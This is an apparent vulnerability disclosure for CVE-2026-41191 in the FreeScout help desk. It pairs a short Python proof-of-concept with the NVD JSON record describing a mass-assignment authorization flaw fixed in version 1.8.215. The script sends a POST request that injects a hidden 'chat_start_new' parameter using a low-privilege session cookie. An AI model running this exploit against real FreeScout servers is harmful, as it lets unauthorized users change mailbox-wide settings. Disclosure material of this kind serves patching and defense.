CVE-2026-41191

import requests # Target URL (Example) target_url = "https://example.com/mailboxes/1/update-save" # Attacker's session cookie (User with 'sig' permission) cookies = { "freescout_session": "attacker_session_cookie_here" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Vulnerable payload: Injecting hidden parameter # 'chat_start_new' controls chat settings and is not exposed to low-priv users in UI payload = { "name": "Support Mailbox", "email": "[email protected]", "signature": "<p>Authorized Signature</p>", "chat_start_new": "1" # Malicious parameter injection } response = requests.post(target_url, data=payload, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Hidden settings potentially updated.") else: print(f"[-] Failed. Status code: {response.status_code}")

{"cve": {"id": "CVE-2026-41191", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:57.653", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, `MailboxesController::updateSave()` persists `chat_start_new` outside the allowed-field filter. A user with only the mailbox `sig` permission sees only the signature field in the UI, but can still change the hidden mailbox-wide chat setting via direct POST. Version 1.8.215 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/fb130de64e1c830d85dd6988eaa08d725a7be954", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-wpv9-c2gv-2j82", "source": "[email protected]"}]}}